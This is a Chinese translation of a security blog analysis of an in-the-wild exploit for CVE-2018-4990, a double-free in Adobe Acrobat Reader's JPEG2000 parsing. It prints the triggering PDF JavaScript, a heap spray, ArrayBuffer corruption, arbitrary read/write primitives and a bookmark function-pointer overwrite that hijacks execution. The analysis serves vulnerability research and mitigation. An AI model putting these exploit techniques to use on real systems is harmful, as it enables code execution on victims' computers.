Adobe双重释放安全漏洞(CVE-2018-4990)的0day利用样本分析

阅读量159522

|

发布时间 : 2018-05-23 15:00:51

x
译文声明

本文是翻译文章,文章来源:https://srcincite.io/

原文地址:https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html

译文仅供参考,具体内容表达以及含义原文为准。

前言

最近,我刚刚得到了CVE-2018-4990的漏洞利用样本,这是一个影响Acrobat Reader的0-Day漏洞,在近期,Adobe发布了APSB18-09补丁包( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )对该漏洞进行了修复。来自ESET的Anton Cherepanov( https://www.welivesecurity.com/author/acherepanov/ )前几天写过一篇关于该漏洞的文章《两个0-Day漏洞的故事》( https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/ ),这是一篇不错的分析,但对于我来说,该篇文章却缺少了一些重要的东西,比如双重释放是如何被实际利用的。
在本文中,我将主要分析攻击者如何利用该漏洞,通过一个特殊的JPEG2000图像而触发Acrobat Reader双重释放(Double Free)漏洞。

 

概述

目前,能够在野外发现Acrobat Reader的漏洞是一件非常罕见的事情。因此,我决定对这一漏洞利用样本进行分析。本文中所涉及的所有分析过程是在v2018.011.20035版本的AcroRd32.exe (c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)下完成的。除该版本之外,目前已知其他版本也受到此漏洞的影响,具体请参阅Adobe的公告APSB18-09( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )了解更多详情。

 

深入漏洞的根源

在PDF中,由于有许多对象被压缩,因此也就隐藏了例如JavaScript和图像之类的真正功能,因此我需要做的第一件事,就是对PDF进行解压缩。我喜欢使用PDF Toolkit( https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ ),因为它是以命令行的方式来使用的。

c:> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress

由于我没有JPEG2000图像的原始样本,因此我并不知道该图像是否已经被位反转(Bitflipped)过,因此我在这里只能对JavaScript进行深入研究。在忽略掉JavaScript的其他部分之后,我们发现了下面代码,可以触发双重释放:

function trigger(){
    var f1 = this.getField("Button1");
    if(f1){
        f1.display = display.visible;
    }
}
trigger();

JavaScript来源于根结点触发的OpenAction:

1 0 obj 
<<
/Length 133
>>
stream
function trigger(){
    var f1 = this.getField("Button1");
    if(f1){
        f1.display = display.visible;
    }
}
trigger();
endstream 
endobj

...

5 0 obj 
<<
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj 
6 0 obj 
<<
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj 

...

trailer

<<
/Root 5 0 R
/Size 39
>>

在启用页堆(Page Heap)和用户模式栈跟踪(User-mode Stack Traces)的情况下,我们会得到以下崩溃信息:

(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr  Args to Child              
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderJP2KLib.dll - 
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:ddvctoolscrtcrtw32heapfree.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.dll - 
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1

我们可以看到,释放的调用者是JP2KLib!JP2KCopyRect+0xbae6,接下来让我们深入该函数,来看看第二次释放是在哪里被触发的。

因此,为了触发这一漏洞,会发生如下过程:
1、加载PDF,在一个字段按钮内部解析畸形的JP2K图像,这触发了第一次释放。
2、加载OpenAction,其中包含将访问字段按钮的JavaScript,设置一个属性并触发第二次释放。
这样一来,攻击者就有了一个非常好的机会,能够重用JavaScript中释放的块,以此来通过第二次释放触发一个UAF(Use-After-Free)条件。我认为,如果利用Pwn2own 2017上发表的CVE-2017-3055堆缓冲区溢出漏洞( https://www.zerodayinitiative.com/advisories/ZDI-17-280/ ),并在此前或此后执行JavaScript,也是同样可行的。我们知道,有很多漏洞都是通过格式不正确的静态内容和动态内容访问相结合,并对格式不正确的内容进行操纵而触发的。这种类型的模糊方法比较困难,因为不仅仅需要对内容进行模糊处理,还需要对其进行修改和生成,属于较为综合的模糊策略。

漏洞利用

在触发漏洞之前,攻击者使用以下JavaScript:

var a         = new Array(0x3000);
var spraynum  = 0x1000;
var sprayarr  = new Array(spraynum);
var spraylen  = 0x10000-24;

// force allocations to get a clean heap
for(var i = 1; i < 0x3000; i++){
    a[i] = new Uint32Array(252);
}

// alloc to reclaim the freed buffer
for(var i = 1; i < spraynum; i++){
    sprayarr[i] = new ArrayBuffer(spraylen);
}

// make holes
for(var i = 1; i < 0x3000; i = i+2){
    delete a[i1];
    a[i1] = null;
}

基本上,这段代码正在进行的是第一阶段(Stage 1):

Stage 1 - Prepare Heap                    Stage 2 - Double Free                     Stage 3 - Reclaim Freed
+------------------------+                +------------------------+                +------------------------+
|                        |                |                        |                |                        |
|    Bin size: 0x508     |                |    Bin size: 0x508     |                |    Bin size: 0x508     |
|                        |                |                        |                |                        |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Freed       |    |                |    |  Freed       |    |                |    |  Freed       |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Allocated   |    |                |    |  Allocated   |    |                |    |  Allocated   |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Allocated   |    | +------------> |    |  Freed       |    | +------------> |    |  Freed       |    |
|    |              |    |                |    |              |    |                |    |  chunks      |    |
|    +--------------+    |                |    +--------------+    |                |    |  coalesced   |    |
|    +--------------+    |                |    +--------------+    |                |    |              |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Freed       |    |                |    |  Freed       |    |                |    |              |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|                        |                |                        |                |                        |
+------------------------+                +------------------------+                +------------------------+

在代码中,使用for(var i = 1; i < 0x3000; i = i+2)语句来产生漏洞,其含义是:每进行两次分配,就会触发一次释放。随后,将在分配的一个Slot上触发双重释放。在这时,Windows堆管理器(Windows Heap Manager)会对这些块进行合并,产生一个0x2000大小的空Slot。
现在,攻击者已经创建了这一利用条件,接下来就可以执行下面的JavaScript代码:

    // reclaims the memory, like your typical use after free
    for(var i = 1;i < 0x40; i++){
        sprayarr2[i] = new ArrayBuffer(0x20000-24);
}

这段代码会从双重释放的内存空间中回收已经释放的内存。并且,因为Slot较大(由于之前的合并),所以需要分配比原来大一倍的空间。在此之后,攻击者已经回收了释放的内存,他们接下来需要找出sprayarr中的哪个ArrayBuffer的大小增加了一倍。

    for(var i = 1;i < spraynum; i++){
        if( sprayarr[i].byteLength == 0x20000-24){

            var biga = new DataView(sprayarr[i1]);
            biga.setUint32(0x10000-12,0x66666666);

            // +1 because the next reference as a corrupted length now.
            if(sprayarr[i+1].byteLength == 0x66666666){

                // game over attackers can read/write out of biga
                biga = new DataView(sprayarr[i+1]);

                ...

                mydv = biga;
            }

现在,在找到所需的ArrayBuffer之后,就可以使用它来覆盖其相邻部分,覆盖的大小也就是ArrayBuffer的字节长度。随后,会检查下一个ArrayBuffer是否具有匹配的字节长度,如果是,就证明它们已经具有完整的读写原语。

function myread(addr){
    mydv.setUint32(mypos,addr,true);
    var res = myarray[0];
    mydv.setUint32(mypos,myarraybase,true);
    return res;
}

function mywrite(addr,value){
    mydv.setUint32(mypos,addr,true);
    myarray[0] = value ;
    mydv.setUint32(mypos,myarraybase,true);
}

到了这里,游戏已经结束。本来攻击者只进行了一次数据攻击,但由于Acrobat Reader不具有控制流保护(Control Flow Guard,CFG),因此他们选择了传统的调用门控制流(Call Gate Control Flow)。首先,找到EScript.api并得到了DLL的基地址,然后使用一个DLL加载程序存根(DLL Loader Stub)创建了一个ROP链,重写了书签对象的执行函数指针,最终重定向了执行流。

var bkm = this.bookmarkRoot;        
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);

...

mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base); 
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f - 0x6b640000 + dll_base);

// adios!
bkm.execute();

 

总结

对于攻击者来说,Adobe Acrobat Reader仍然是一个很好的目标,因为JavaScript对于ArrayBuffers的控制非常灵活,并且PDF解析过程非常复杂。此外,在操作系统层面上进行缓解只能产生很小的影响,所以Adobe也在努力加固其二进制文件( /GUARD:CF ),从而使得漏洞开发过程更加艰难。
其实,如果Adobe启用了控制流保护(CFG),并开发一种堆隔离技术(Isolated Heap),就像他们已经在Flash中采用的措施一样,那么这个漏洞可能会更加难以利用。
如前文所述,我们认为目前这种漏洞利用样本还处于开发阶段,因为在样本中,没有对JavaScript进行任何模糊处理。并且我们认为,在JP2KLib.dll中还存在着更多其他漏洞。

 

参考文章

https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

本文翻译自https://srcincite.io/ 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
P!chu
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66